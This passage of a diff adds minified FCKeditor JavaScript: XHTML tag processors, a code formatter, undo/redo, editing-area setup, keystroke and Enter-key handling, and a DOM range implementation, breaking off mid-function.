(D&&D.nodeType==3) D=D.previousSibling;if (D&&D.nodeName.toUpperCase()=='LI'){B._fckxhtmljob=null;FCKXHtml._AppendNode(D,B);return false;};FCKXHtml._AppendChildNodes(A,B);return A;},span:function(A,B){if (B.innerHTML.length==0) return false;FCKXHtml._AppendChildNodes(A,B,false);return A;}};FCKXHtml.TagProcessors.ul=FCKXHtml.TagProcessors.ol;
+FCKXHtml._GetMainXmlString=function(){return this.MainNode.xml;};FCKXHtml._AppendAttributes=function(A,B,C,D){var E=B.attributes;for (var n=0;n<E.length;n++){var F=E[n];if (F.specified){var G=F.nodeName.toLowerCase();var H;if (G.StartsWith('_fck')) continue;else if (G=='style') H=B.style.cssText.replace(FCKRegexLib.StyleProperties,FCKTools.ToLowerCase);else if (G=='class'||G.indexOf('on')==0) H=F.nodeValue;else if (D=='body'&&G=='contenteditable') continue;else if (F.nodeValue===true) H=G;else{try{H=B.getAttribute(G,2);}catch (e) {}};this._AppendAttribute(C,G,H||F.nodeValue);}}};FCKXHtml.TagProcessors['meta']=function(A,B){var C=A.attributes.getNamedItem('http-equiv');if (C==null||C.value.length==0){var D=B.outerHTML.match(FCKRegexLib.MetaHttpEquiv);if (D){D=D[1];FCKXHtml._AppendAttribute(A,'http-equiv',D);}};return A;};FCKXHtml.TagProcessors['font']=function(A,B){if (A.attributes.length==0) A=FCKXHtml.XML.createDocumentFragment();FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['input']=function(A,B){if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);if (B.value&&!A.attributes.getNamedItem('value')) FCKXHtml._AppendAttribute(A,'value',B.value);if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text');return A;};FCKXHtml.TagProcessors['option']=function(A,B){if (B.selected&&!A.attributes.getNamedItem('selected')) FCKXHtml._AppendAttribute(A,'selected','selected');FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['area']=function(A,B){if (!A.attributes.getNamedItem('coords')){var C=B.getAttribute('coords',2);if (C&&C!='0,0,0') FCKXHtml._AppendAttribute(A,'coords',C);};if (!A.attributes.getNamedItem('shape')){var D=B.getAttribute('shape',2);if (D&&D.length>0) FCKXHtml._AppendAttribute(A,'shape',D);};return A;};FCKXHtml.TagProcessors['label']=function(A,B){if (B.htmlFor.length>0) FCKXHtml._AppendAttribute(A,'for',B.htmlFor);FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['form']=function(A,B){if (B.acceptCharset&&B.acceptCharset.length>0&&B.acceptCharset!='UNKNOWN') FCKXHtml._AppendAttribute(A,'accept-charset',B.acceptCharset);if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['textarea']=FCKXHtml.TagProcessors['select']=function(A,B){if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['div']=function(A,B){if (B.align.length>0) FCKXHtml._AppendAttribute(A,'align',B.align);FCKXHtml._AppendChildNodes(A,B,true);return A;}
+var FCKCodeFormatter={};FCKCodeFormatter.Init=function(){var A=this.Regex={};A.BlocksOpener=/\<(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.BlocksCloser=/\<\/(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.NewLineTags=/\<(BR|HR)[^\>]*\>/gi;A.MainTags=/\<\/?(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR)[^\>]*\>/gi;A.LineSplitter=/\s*\n+\s*/g;A.IncreaseIndent=/^\<(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \/\>]/i;A.DecreaseIndent=/^\<\/(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \>]/i;A.FormatIndentatorRemove=new RegExp('^'+FCKConfig.FormatIndentator);A.ProtectedTags=/(<PRE[^>]*>)([\s\S]*?)(<\/PRE>)/gi;};FCKCodeFormatter._ProtectData=function(A,B,C,D){return B+'___FCKpd___'+FCKCodeFormatter.ProtectedData.AddItem(C)+D;};FCKCodeFormatter.Format=function(A){if (!this.Regex) this.Init();FCKCodeFormatter.ProtectedData=[];var B=A.replace(this.Regex.ProtectedTags,FCKCodeFormatter._ProtectData);B=B.replace(this.Regex.BlocksOpener,'\n$&');B=B.replace(this.Regex.BlocksCloser,'$&\n');B=B.replace(this.Regex.NewLineTags,'$&\n');B=B.replace(this.Regex.MainTags,'\n$&\n');var C='';var D=B.split(this.Regex.LineSplitter);B='';for (var i=0;i<D.length;i++){var E=D[i];if (E.length==0) continue;if (this.Regex.DecreaseIndent.test(E)) C=C.replace(this.Regex.FormatIndentatorRemove,'');B+=C+E+'\n';if (this.Regex.IncreaseIndent.test(E)) C+=FCKConfig.FormatIndentator;};for (var j=0;j<FCKCodeFormatter.ProtectedData.length;j++){var F=new RegExp('___FCKpd___'+j);B=B.replace(F,FCKCodeFormatter.ProtectedData[j].replace(/\$/g,'$$$$'));};return B.Trim();}
+var FCKUndo={};FCKUndo.SavedData=[];FCKUndo.CurrentIndex=-1;FCKUndo.TypesCount=FCKUndo.MaxTypes=25;FCKUndo.Typing=false;FCKUndo.SaveUndoStep=function(){if (FCK.EditMode!=0) return;FCKUndo.SavedData=FCKUndo.SavedData.slice(0,FCKUndo.CurrentIndex+1);var A=FCK.EditorDocument.body.innerHTML;if (FCKUndo.CurrentIndex>=0&&A==FCKUndo.SavedData[FCKUndo.CurrentIndex][0]) return;if (FCKUndo.CurrentIndex+1>=FCKConfig.MaxUndoLevels) FCKUndo.SavedData.shift();else FCKUndo.CurrentIndex++;var B;if (FCK.EditorDocument.selection.type=='Text') B=FCK.EditorDocument.selection.createRange().getBookmark();FCKUndo.SavedData[FCKUndo.CurrentIndex]=[A,B];FCK.Events.FireEvent("OnSelectionChange");};FCKUndo.CheckUndoState=function(){return (FCKUndo.Typing||FCKUndo.CurrentIndex>0);};FCKUndo.CheckRedoState=function(){return (!FCKUndo.Typing&&FCKUndo.CurrentIndex<(FCKUndo.SavedData.length-1));};FCKUndo.Undo=function(){if (FCKUndo.CheckUndoState()){if (FCKUndo.CurrentIndex==(FCKUndo.SavedData.length-1)){FCKUndo.SaveUndoStep();};FCKUndo._ApplyUndoLevel(--FCKUndo.CurrentIndex);FCK.Events.FireEvent("OnSelectionChange");}};FCKUndo.Redo=function(){if (FCKUndo.CheckRedoState()){FCKUndo._ApplyUndoLevel(++FCKUndo.CurrentIndex);FCK.Events.FireEvent("OnSelectionChange");}};FCKUndo._ApplyUndoLevel=function(A){var B=FCKUndo.SavedData[A];if (!B) return;FCK.SetInnerHtml(B[0]);if (B[1]){var C=FCK.EditorDocument.selection.createRange();C.moveToBookmark(B[1]);C.select();};FCKUndo.TypesCount=0;FCKUndo.Typing=false;}
+var FCKEditingArea=function(A){this.TargetElement=A;this.Mode=0;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKEditingArea_Cleanup);};FCKEditingArea.prototype.Start=function(A,B){var C=this.TargetElement;var D=FCKTools.GetElementDocument(C);while(C.childNodes.length>0) C.removeChild(C.childNodes[0]);if (this.Mode==0){var E=this.IFrame=D.createElement('iframe');E.src='javascript:void(0)';E.frameBorder=0;E.width=E.height='100%';C.appendChild(E);if (FCKBrowserInfo.IsIE) A=A.replace(/(<base[^>]*?)\s*\/?>(?!\s*<\/base>)/gi,'$1></base>');else if (!B){if (FCKBrowserInfo.IsGecko) A=A.replace(/(<body[^>]*>)\s*(<\/body>)/i,'$1'+GECKO_BOGUS+'$2');var F=A.match(FCKRegexLib.BodyContents);if (F){A=F[1]+'&nbsp;'+F[3];this._BodyHTML=F[2];}else this._BodyHTML=A;};this.Window=E.contentWindow;var G=this.Document=this.Window.document;G.open();G.write(A);G.close();if (FCKBrowserInfo.IsGecko10&&!B){this.Start(A,true);return;};this.Window._FCKEditingArea=this;if (FCKBrowserInfo.IsGecko10) this.Window.setTimeout(FCKEditingArea_CompleteStart,500);else FCKEditingArea_CompleteStart.call(this.Window);}else{var H=this.Textarea=D.createElement('textarea');H.className='SourceField';H.dir='ltr';H.style.width=H.style.height='100%';H.style.border='none';C.appendChild(H);H.value=A;FCKTools.RunFunction(this.OnLoad);}};function FCKEditingArea_CompleteStart(){if (!this.document.body){this.setTimeout(FCKEditingArea_CompleteStart,50);return;};var A=this._FCKEditingArea;A.MakeEditable();FCKTools.RunFunction(A.OnLoad);};FCKEditingArea.prototype.MakeEditable=function(){var A=this.Document;if (FCKBrowserInfo.IsIE){A.body.contentEditable=true;}else{try{A.body.spellcheck=(this.FFSpellChecker!==false);if (this._BodyHTML){A.body.innerHTML=this._BodyHTML;this._BodyHTML=null;};A.designMode='on';try{A.execCommand('styleWithCSS',false,FCKConfig.GeckoUseSPAN);}catch (e){A.execCommand('useCSS',false,!FCKConfig.GeckoUseSPAN);};A.execCommand('enableObjectResizing',false,!FCKConfig.DisableObjectResizing);A.execCommand('enableInlineTableEditing',false,!FCKConfig.DisableFFTableHandles);}catch (e) {}}};FCKEditingArea.prototype.Focus=function(){try{if (this.Mode==0){if (FCKBrowserInfo.IsIE&&this.Document.hasFocus()) return;if (FCKBrowserInfo.IsSafari) this.IFrame.focus();else{this.Window.focus();}}else{var A=FCKTools.GetElementDocument(this.Textarea);if ((!A.hasFocus||A.hasFocus())&&A.activeElement==this.Textarea) return;this.Textarea.focus();}}catch(e) {}};function FCKEditingArea_Cleanup(){this.TargetElement=null;this.IFrame=null;this.Document=null;this.Textarea=null;if (this.Window){this.Window._FCKEditingArea=null;this.Window=null;}}
+var FCKKeystrokeHandler=function(A){this.Keystrokes={};this.CancelCtrlDefaults=(A!==false);};FCKKeystrokeHandler.prototype.AttachToElement=function(A){FCKTools.AddEventListenerEx(A,'keydown',_FCKKeystrokeHandler_OnKeyDown,this);if (FCKBrowserInfo.IsGecko10||FCKBrowserInfo.IsOpera||(FCKBrowserInfo.IsGecko&&FCKBrowserInfo.IsMac)) FCKTools.AddEventListenerEx(A,'keypress',_FCKKeystrokeHandler_OnKeyPress,this);};FCKKeystrokeHandler.prototype.SetKeystrokes=function(){for (var i=0;i<arguments.length;i++){var A=arguments[i];if (typeof(A[0])=='object') this.SetKeystrokes.apply(this,A);else{if (A.length==1) delete this.Keystrokes[A[0]];else this.Keystrokes[A[0]]=A[1]===true?true:A;}}};function _FCKKeystrokeHandler_OnKeyDown(A,B){var C=A.keyCode||A.which;var D=0;if (A.ctrlKey||A.metaKey) D+=CTRL;if (A.shiftKey) D+=SHIFT;if (A.altKey) D+=ALT;var E=C+D;var F=B._CancelIt=false;var G=B.Keystrokes[E];if (G){if (G===true||!(B.OnKeystroke&&B.OnKeystroke.apply(B,G))) return true;F=true;};if (F||(B.CancelCtrlDefaults&&D==CTRL&&(C<33||C>40))){B._CancelIt=true;if (A.preventDefault) return A.preventDefault();A.returnValue=false;A.cancelBubble=true;return false;};return true;};function _FCKKeystrokeHandler_OnKeyPress(A,B){if (B._CancelIt){if (A.preventDefault) return A.preventDefault();return false;};return true;}
+var FCKListHandler={OutdentListItem:function(A){var B=A.parentNode;if (B.tagName.toUpperCase().Equals('UL','OL')){var C=FCKTools.GetElementDocument(A);var D=new FCKDocumentFragment(C);var E=D.RootNode;var F=false;var G=FCKDomTools.GetFirstChild(A,['UL','OL']);if (G){F=true;var H;while ((H=G.firstChild)) E.appendChild(G.removeChild(H));FCKDomTools.RemoveNode(G);};var I;var J=false;while ((I=A.nextSibling)){if (!F&&I.nodeType==1&&I.nodeName.toUpperCase()=='LI') J=F=true;E.appendChild(I.parentNode.removeChild(I));if (!J&&I.nodeType==1&&I.nodeName.toUpperCase().Equals('UL','OL')) FCKDomTools.RemoveNode(I,true);};var K=B.parentNode.tagName.toUpperCase();var L=(K=='LI');if (L||K.Equals('UL','OL')){if (F){var G=B.cloneNode(false);D.AppendTo(G);A.appendChild(G);}else if (L) D.InsertAfterNode(B.parentNode);else D.InsertAfterNode(B);if (L) FCKDomTools.InsertAfterNode(B.parentNode,B.removeChild(A));else FCKDomTools.InsertAfterNode(B,B.removeChild(A));}else{if (F){var N=B.cloneNode(false);D.AppendTo(N);FCKDomTools.InsertAfterNode(B,N);};var O=C.createElement('p');FCKDomTools.MoveChildren(B.removeChild(A),O);FCKDomTools.InsertAfterNode(B,O);A=O;};if (this.CheckEmptyList(B)) FCKDomTools.RemoveNode(B,true);};return A;},CheckEmptyList:function(A){return (FCKDomTools.GetFirstChild(A,'LI')==null);},CheckListHasContents:function(A){var B=A.firstChild;while (B){switch (B.nodeType){case 1:if (!B.nodeName.IEquals('UL','LI')) return true;break;case 3:if (B.nodeValue.Trim().length>0) return true;};B=B.nextSibling;};return false;}};
+var FCKElementPath=function(A){var B=null;var C=null;var D=[];var e=A;while (e){if (e.nodeType==1){if (!this.LastElement) this.LastElement=e;var E=e.nodeName.toLowerCase();if (!C&&!B&&FCKListsLib.PathBlockElements[E]!=null) B=e;if (!C&&(/^(?:body|td|th|caption|form)$/).test(E)) C=e;D.push(e);if (E=='BODY') break;};e=e.parentNode;};this.Block=B;this.BlockLimit=C;this.Elements=D;};
+var FCKDomRange=function(A){this.Window=A;};FCKDomRange.prototype={_UpdateElementInfo:function(){if (!this._Range) this.Release(true);else{var A=this._Range.startContainer;var B=this._Range.endContainer;var C=new FCKElementPath(A);this.StartContainer=C.LastElement;this.StartBlock=C.Block;this.StartBlockLimit=C.BlockLimit;if (A!=B) C=new FCKElementPath(B);this.EndContainer=C.LastElement;this.EndBlock=C.Block;this.EndBlockLimit=C.BlockLimit;}},CreateRange:function(){return new FCKW3CRange(this.Window.document);},DeleteContents:function(){if (this._Range){this._Range.deleteContents();this._UpdateElementInfo();}},ExtractContents:function(){if (this._Range){var A=this._Range.extractContents();this._UpdateElementInfo();return A;}},CheckIsCollapsed:function(){if (this._Range) return this._Range.collapsed;},Collapse:function(A){if (this._Range) this._Range.collapse(A);this._UpdateElementInfo();},Clone:function(){var A=FCKTools.CloneObject(this);if (this._Range) A._Range=this._Range.cloneRange();return A;},MoveToNodeContents:function(A){if (!this._Range) this._Range=this.CreateRange();this._Range.selectNodeContents(A);this._UpdateElementInfo();},MoveToElementStart:function(A){this.SetStart(A,1);this.SetEnd(A,1);},InsertNode:function(A){if (this._Range) this._Range.insertNode(A);},CheckIsEmpty:function(A){if (this.CheckIsCollapsed()) return true;var B=this.Window.document.createElement('div');this._Range.cloneContents().AppendTo(B);FCKDomTools.TrimNode(B,A);return (B.innerHTML.length==0);},CheckStartOfBlock:function(){var A=this.Clone();A.Collapse(true);A.SetStart(A.StartBlock||A.StartBlockLimit,1);var B=A.CheckIsEmpty();A.Release();return B;},CheckEndOfBlock:function(A){var B=this.Clone();B.Collapse(false);B.SetEnd(B.EndBlock||B.EndBlockLimit,2);var C=B.CheckIsEmpty(true);B.Release();if (A) this.Select();return C;},CreateBookmark:function(){var A={StartId:'fck_dom_range_start_'+(new Date()).valueOf()+'_'+Math.floor(Math.random()*1000),EndId:'fck_dom_range_end_'+(new Date()).valueOf()+'_'+Math.floor(Math.random()*1000)};var B=this.Window.document;var C;var D;if (!this.CheckIsCollapsed()){C=B.createElement('span');C.id=A.EndId;C.innerHTML='&nbsp;';D=this.Clone();D.Collapse(false);D.InsertNode(C);};C=B.createElement('span');C.id=A.StartId;C.innerHTML='&nbsp;';D=this.Clone();D.Collapse(true);D.InsertNode(C);return A;},MoveToBookmark:function(A,B){var C=this.Window.document;var D=C.getElementById(A.StartId);var E=C.getElementById(A.EndId);this.SetStart(D,3);if (!B) FCKDomTools.RemoveNode(D);if (E){this.SetEnd(E,3);if (!B) FCKDomTools.RemoveNode(E);}else this.Collapse(true);},SetStart:function(A,B){var C=this._Range;if (!C) C=this._Range=this.CreateRange();switch(B){case 1:C.setStart(A,0);break;case 2:C.setStart(A,A.childNodes.length);break;case 3:C.setStartBefore(A);break;case 4:C.setStartAfter(A);};this._UpdateElementInfo();},SetEnd:function(A,B){var C=this._Range;if (!C) C=this._Range=this.CreateRange();switch(B){case 1:C.setEnd(A,0);break;case 2:C.setEnd(A,A.childNodes.length);break;case 3:C.setEndBefore(A);break;case 4:C.setEndAfter(A);};this._UpdateElementInfo();},Expand:function(A){var B,oSibling;switch (A){case 'block_contents':if (this.StartBlock) this.SetStart(this.StartBlock,1);else{B=this._Range.startContainer;if (B.nodeType==1){if (!(B=B.childNodes[this._Range.startOffset])) B=B.firstChild;};if (!B) return;while (true){oSibling=B.previousSibling;if (!oSibling){if (B.parentNode!=this.StartBlockLimit) B=B.parentNode;else break;}else if (oSibling.nodeType!=1||!(/^(?:P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|DT|DE)$/).test(oSibling.nodeName.toUpperCase())){B=oSibling;}else break;};this._Range.setStartBefore(B);};if (this.EndBlock) this.SetEnd(this.EndBlock,2);else{B=this._Range.endContainer;if (B.nodeType==1) B=B.childNodes[this._Range.endOffset]||B.lastChild;if (!B) return;while (true){oSibling=B.nextSibling;if (!oSibling){if (B.parentNode!=this.EndBlockLimit) B=B.parentNode;else break;}else if (oSibling.nodeType!=1||!(/^(?:P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|DT|DE)$/).test(oSibling.nodeName.toUpperCase())){B=oSibling;}else break;};this._Range.setEndAfter(B);};this._UpdateElementInfo();}},Release:function(A){if (!A) this.Window=null;this.StartContainer=null;this.StartBlock=null;this.StartBlockLimit=null;this.EndContainer=null;this.EndBlock=null;this.EndBlockLimit=null;this._Range=null;}};
+FCKDomRange.prototype.MoveToSelection=function(){this.Release(true);this._Range=new FCKW3CRange(this.Window.document);var A=this.Window.document.selection;if (A.type!='Control'){B=this._GetSelectionMarkerTag(true);this._Range.setStart(B.parentNode,FCKDomTools.GetIndexOf(B));B.parentNode.removeChild(B);var B=this._GetSelectionMarkerTag(false);this._Range.setEnd(B.parentNode,FCKDomTools.GetIndexOf(B));B.parentNode.removeChild(B);this._UpdateElementInfo();}else{var C=A.createRange().item(0);if (C){this._Range.setStartBefore(C);this._Range.setEndAfter(C);this._UpdateElementInfo();}}};FCKDomRange.prototype.Select=function(){if (this._Range){var A=this.CheckIsCollapsed();var B=this._GetRangeMarkerTag(true);if (!A) var C=this._GetRangeMarkerTag(false);var D=this.Window.document.body.createTextRange();D.moveToElementText(B);D.moveStart('character',1);if (!A){var E=this.Window.document.body.createTextRange();E.moveToElementText(C);D.setEndPoint('EndToEnd',E);D.moveEnd('character',-1);};this._Range.setStartBefore(B);B.parentNode.removeChild(B);if (A){try{D.pasteHTML('&nbsp;');D.moveStart('character',-1);}catch (e){};D.select();D.pasteHTML('');}else{this._Range.setEndBefore(C);C.parentNode.removeChild(C);D.select();}}};FCKDomRange.prototype._GetSelectionMarkerTag=function(A){var B=this.Window.document.selection.createRange();B.collapse(A===true);var C='fck_dom_range_temp_'+(new Date()).valueOf()+'_'+Math.floor(Math.random()*1000);B.pasteHTML('<span id="'+C+'"></span>');return this.Window.document.getElementById(C);};FCKDomRange.prototype._GetRangeMarkerTag=function(A){var B=this._Range;if (!A){B=B.cloneRange();B.collapse(A===true);};var C=this.Window.document.createElement('span');C.innerHTML='&nbsp;';B.insertNode(C);return C;}
+var FCKDocumentFragment=function(A){this._Document=A;this.RootNode=A.createElement('div');};FCKDocumentFragment.prototype={AppendTo:function(A){FCKDomTools.MoveChildren(this.RootNode,A);},AppendHtml:function(A){var B=this._Document.createElement('div');B.innerHTML=A;FCKDomTools.MoveChildren(B,this.RootNode);},InsertAfterNode:function(A){var B=this.RootNode;var C;while((C=B.lastChild)) FCKDomTools.InsertAfterNode(A,B.removeChild(C));}};
+var FCKW3CRange=function(A){this._Document=A;this.startContainer=null;this.startOffset=null;this.endContainer=null;this.endOffset=null;this.collapsed=true;};FCKW3CRange.CreateRange=function(A){return new FCKW3CRange(A);};FCKW3CRange.CreateFromRange=function(A,B){var C=FCKW3CRange.CreateRange(A);C.setStart(B.startContainer,B.startOffset);C.setEnd(B.endContainer,B.endOffset);return C;};FCKW3CRange.prototype={_UpdateCollapsed:function(){this.collapsed=(this.startContainer==this.endContainer&&this.startOffset==this.endOffset);},setStart:function(A,B){this.startContainer=A;this.startOffset=B;if (!this.endContainer){this.endContainer=A;this.endOffset=B;};this._UpdateCollapsed();},setEnd:function(A,B){this.endContainer=A;this.endOffset=B;if (!this.startContainer){this.startContainer=A;this.startOffset=B;};this._UpdateCollapsed();},setStartAfter:function(A){this.setStart(A.parentNode,FCKDomTools.GetIndexOf(A)+1);},setStartBefore:function(A){this.setStart(A.parentNode,FCKDomTools.GetIndexOf(A));},setEndAfter:function(A){this.setEnd(A.parentNode,FCKDomTools.GetIndexOf(A)+1);},setEndBefore:function(A){this.setEnd(A.parentNode,FCKDomTools.GetIndexOf(A));},collapse:function(A){if (A){this.endContainer=this.startContainer;this.endOffset=this.startOffset;}else{this.startContainer=this.endContainer;this.startOffset=this.endOffset;};this.collapsed=true;},selectNodeContents:function(A){this.setStart(A,0);this.setEnd(A,A.nodeType==3?A.data.length:A.childNodes.length);},insertNode:function(A){var B=this.startContainer;var C=this.startOffset;if (B.nodeType==3){B.splitText(C);if (B==this.endContainer) this.setEnd(B.nextSibling,this.endOffset-this.startOffset);FCKDomTools.InsertAfterNode(B,A);return;}else{B.insertBefore(A,B.childNodes[C]||null);if (B==this.endContainer){this.endOffset++;this.collapsed=false;}}},deleteContents:function(){if (this.collapsed) return;this._ExecContentsAction(0);},extractContents:function(){var A=new FCKDocumentFragment(this._Document);if (!this.collapsed) this._ExecContentsAction(1,A);return A;},cloneContents:function(){var A=new FCKDocumentFragment(this._Document);if (!this.collapsed) this._ExecContentsAction(2,A);return A;},_ExecContentsAction:function(A,B){var C=this.startContainer;var D=this.endContainer;var E=this.startOffset;var F=this.endOffset;var G=false;var H=false;if (D.nodeType==3) D=D.splitText(F);else{if (D.childNodes.length>0){if (F>D.childNodes.length-1){D=FCKDomTools.InsertAfterNode(D.lastChild,this._Document.createTextNode(''));H=true;}else D=D.childNodes[F];}};if (C.nodeType==3){C.splitText(E);if (C==D) D=C.nextSibling;}else{if (C.childNodes.length>0&&E<=C.childNodes.length-1){if (E==0){C=C.insertBefore(this._Document.createTextNode(''),C.firstChild);G=true;}else C=C.childNodes[E].previousSibling;}};var I=FCKDomTools.GetParents(C);var J=FCKDomTools.GetParents(D);var i,topStart,topEnd;for (i=0;i<I.length;i++){topStart=I[i];topEnd=J[i];if (topStart!=topEnd) break;};var K,levelStartNode,levelClone,currentNode,currentSibling;if (B) K=B.RootNode;for (var j=i;j<I.length;j++){levelStartNode=I[j];if (K&&levelStartNode!=C) levelClone=K.appendChild(levelStartNode.cloneNode(levelStartNode==C));currentNode=levelStartNode.nextSibling;while(currentNode){if (currentNode==J[j]||currentNode==D) break;currentSibling=currentNode.nextSibling;if (A==2) K.appendChild(currentNode.cloneNode(true));else{currentNode.parentNode.removeChild(currentNode);if (A==1) K.appendChild(currentNode);};currentNode=currentSibling;};if (K) K=levelClone;};if (B) K=B.RootNode;for (var k=i;k<J.length;k++){levelStartNode=J[k];if (A>0&&levelStartNode!=D) levelClone=K.appendChild(levelStartNode.cloneNode(levelStartNode==D));if (!I[k]||levelStartNode.parentNode!=I[k].parentNode){currentNode=levelStartNode.previousSibling;while(currentNode){if (currentNode==I[k]||currentNode==C) break;currentSibling=currentNode.previousSibling;if (A==2) K.insertBefore(currentNode.cloneNode(true),K.firstChild);else{currentNode.parentNode.removeChild(currentNode);if (A==1) K.insertBefore(currentNode,K.firstChild);};currentNode=currentSibling;}};if (K) K=levelClone;};if (A==2){var L=this.startContainer;if (L.nodeType==3){L.data+=L.nextSibling.data;L.parentNode.removeChild(L.nextSibling);};var M=this.endContainer;if (M.nodeType==3&&M.nextSibling){M.data+=M.nextSibling.data;M.parentNode.removeChild(M.nextSibling);}}else{if (topStart&&topEnd&&(C.parentNode!=topStart.parentNode||D.parentNode!=topEnd.parentNode)) this.setStart(topEnd.parentNode,FCKDomTools.GetIndexOf(topEnd));this.collapse(true);};if(G) C.parentNode.removeChild(C);if(H&&D.parentNode) D.parentNode.removeChild(D);},cloneRange:function(){return FCKW3CRange.CreateFromRange(this._Document,this);},toString:function(){var A=this.cloneContents();var B=this._Document.createElement('div');A.AppendTo(B);return B.textContent||B.innerText;}};
+var FCKEnterKey=function(A,B,C){this.Window=A;this.EnterMode=B||'p';this.ShiftEnterMode=C||'br';var D=new FCKKeystrokeHandler(false);D._EnterKey=this;D.OnKeystroke=FCKEnterKey_OnKeystroke;D.SetKeystrokes([[13,'Enter'],[SHIFT+13,'ShiftEnter'],[8,'Backspace'],[46,'Delete']]);D.AttachToElement(A.document);};function FCKEnterKey_OnKeystroke(A,B){var C=this._EnterKey;try{switch (B){case 'Enter':return C.DoEnter();break;case 'ShiftEnter':return C.DoShiftEnter();break;case 'Backspace':return C.DoBackspace();break;case 'Delete':return C.DoDelete();}}catch (e){};return false;};FCKEnterKey.prototype.DoEnter=function(A,B){this._HasShift=(B===true);var C=A||this.EnterMode;if (C=='br') return this._ExecuteEnterBr();else return this._ExecuteEnterBlock(C);};FCKEnterKey.prototype.DoShiftEnter=function(){return this.DoEnter(this.ShiftEnterMode,true);};FCKEnterKey.prototype.DoBackspace=function(){var A=false;var B=new FCKDomRange(this.Window);B.MoveToSelection();if (!B.CheckIsCollapsed()) return false;var C=B.StartBlock;var D=B.EndBlock;if (B.StartBlockLimit==B.EndBlockLimit&&C&&D){if (!B.CheckIsCollapsed()){var E=B.CheckEndOfBlock();B.DeleteContents();if (C!=D){B.SetStart(D,1);B.SetEnd(D,1);};B.Select();A=(C==D);};if (B.CheckStartOfBlock()){var F=B.StartBlock;var G=FCKDomTools.GetPreviousSourceElement(F,true,['BODY',B.StartBlockLimit.nodeName],['UL','OL']);A=this._ExecuteBackspace(B,G,F);}else if (FCKBrowserInfo.IsGecko){B.Select();}};B.Release();return A;};FCKEnterKey.prototype._ExecuteBackspace=function(A,B,C){var D=false;if (!B&&C.nodeName.IEquals('LI')&&C.parentNode.parentNode.nodeName.IEquals('LI')){B=C.parentNode.parentNode;C=FCKListHandler.OutdentListItem(C);};if (B&&B.nodeName.IEquals('LI')){var E=FCKDomTools.GetLastChild(B,['UL','OL']);while (E){B=FCKDomTools.GetLastChild(E,'LI');E=FCKDomTools.GetLastChild(B,['UL','OL']);}};if (B&&C){if (C.nodeName.IEquals('LI')&&!B.nodeName.IEquals('LI')) C=FCKListHandler.OutdentListItem(C);var F=C.parentNode;if (B.nodeName.IEquals('TABLE','HR')){FCKDomTools.RemoveNode(B);D=true;}else{FCKDomTools.RemoveNode(C);while (F.innerHTML.Trim().length==0){var G=F.parentNode;G.removeChild(F);F=G;};FCKDomTools.TrimNode(C);FCKDomTools.TrimNode(B);A.SetStart(B,2);A.Collapse(true);var H=A.CreateBookmark();FCKDomTools.MoveChildren(C,B);A.MoveToBookmark(H);A.Select();D=true;}};return D;};FCKEnterKey.prototype.DoDelete=function(){var A=false;var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.CheckIsCollapsed()&&B.CheckEndOfBlock(FCKBrowserInfo.IsGecko)){var C=B.StartBlock;var D=FCKDomTools.GetNextSourceElement(C,true,[B.StartBlockLimit.nodeName],['UL','OL']);A=this._ExecuteBackspace(B,C,D);};B.Release();return A;};FCKEnterKey.prototype._ExecuteEnterBlock=function(A){var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.StartBlockLimit==B.EndBlockLimit){if (!B.StartBlock) this._FixBlock(B,true,A);if (!B.EndBlock) this._FixBlock(B,false,A);var C=B.StartBlock;var D=B.EndBlock;if (!B.CheckIsEmpty()) B.DeleteContents();if (C==D){var E;var F=B.CheckStartOfBlock();var G=B.CheckEndOfBlock();if (F&&!G){E=C.cloneNode(false);if (FCKBrowserInfo.IsGeckoLike) E.innerHTML=GECKO_BOGUS;C.parentNode.insertBefore(E,C);if (FCKBrowserInfo.IsIE){B.MoveToNodeContents(E);B.Select();};B.MoveToElementStart(C);}else{if (G){var H=C.tagName.toUpperCase();if (F&&H=='LI'){var I=FCKListHandler.OutdentListItem(C);B.MoveToElementStart(I);}else{if ((/^H[1-6]$/).test(H)) E=this.Window.document.createElement(A);else E=C.cloneNode(false);if (FCKBrowserInfo.IsGeckoLike){E.innerHTML=GECKO_BOGUS;if (F) C.innerHTML=GECKO_BOGUS;}}}else{B.SetEnd(C,2);var J=B.ExtractContents();E=C.cloneNode(false);FCKDomTools.TrimNode(J.RootNode);if (J.RootNode.firstChild.nodeType==1&&J.RootNode.firstChild.tagName.toUpperCase().Equals('UL','OL')) E.innerHTML=GECKO_BOGUS;J.AppendTo(E);if (FCKBrowserInfo.IsGecko){var K=FCKDomTools.GetLastChild(E);if (!K||K.nodeName.toLowerCase()!='br'||K.getAttribute('type',2)!='_moz') E.appendChild(FCKTools.CreateBogusBR(this.Window.document));}};if (E){FCKDomTools.InsertAfterNode(C,E);B.MoveToElementStart(E);if (FCKBrowserInfo.IsGecko) E.scrollIntoView(false);}}}else{B.MoveToElementStart(D);};B.Select();};B.Release();return true;};FCKEnterKey.prototype._ExecuteEnterBr=function(A){var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.StartBlockLimit==B.EndBlockLimit){B.DeleteContents();B.MoveToSelection();var C=B.CheckStartOfBlock();var 